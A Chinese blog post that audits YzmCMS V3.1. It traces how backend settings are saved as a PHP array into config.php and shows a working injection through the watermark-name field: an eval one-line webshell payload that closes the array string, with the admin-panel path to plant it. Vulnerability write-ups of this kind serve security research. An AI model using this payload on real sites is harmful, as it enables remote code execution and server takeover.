• YzmCMSV3.1 | 代码审计


    YzmCMSV3.1 | 代码审计

    这次审计 yzmcms 。

    YzmCMS采用OOP(面向对象)方式自主开发的框架。框架易扩展,是一款高效开源的内容管理系统,产品基于PHP+Mysql架构,可运行在Linux、Windows、MacOSX、Solaris等各种平台上。

    下面就开始审计之旅。

    在复现漏洞的时候知道了哪里存在问题,所以直接开始代码审计。

    查看./common/function/function.php

    在函数get_config()中可以看到是用数组的方式写入到./common/config/config.php的。

    现在就看下config.php的代码

    在33行水印名称的地方可以从后台进行控制。进入后台(http://127.0.0.1/test/YzmCMSV3.1/index.php/admin/index/)

    系统管理-->系统设置-->附加设置

    在水印名称处插入一句话,由于是用数组,因此平常的一句话是不能执行的,这里需要闭合前面的watermark_name,增加键,把一句话当作值。

    比如:','a'=>"${@eval($_POST['a'])};",

    这个时候看下config.php的写入情况

    成功写入,接下来就验证下。

    源码链接(链接: https://pan.baidu.com/s/1QML_lTny4h30n2mH4uKTeA 密码: di3b)

    本文链接(http://www.cnblogs.com/Oran9e/p/8520455.html),转载请注明。

    参考链接(http://www.test404.com/post-1284.html)

  • 相关阅读:
    js中连续赋值
    PHP文件上传漏洞原理以及如何防御详解 【转】
    奇虎360PHP工程师2019年面试题和答案解析【转】
    学习ES6碰到的单词
    Proxy(代理)例子
    for of 迭代器 生成器 数组的一些杂乱记录
    async和await
    Promise.call
    ES6中Promise.race
    Promise 和.then
  • 原文地址:https://www.cnblogs.com/Oran9e/p/8520455.html
Copyright © 2020-2023  润新知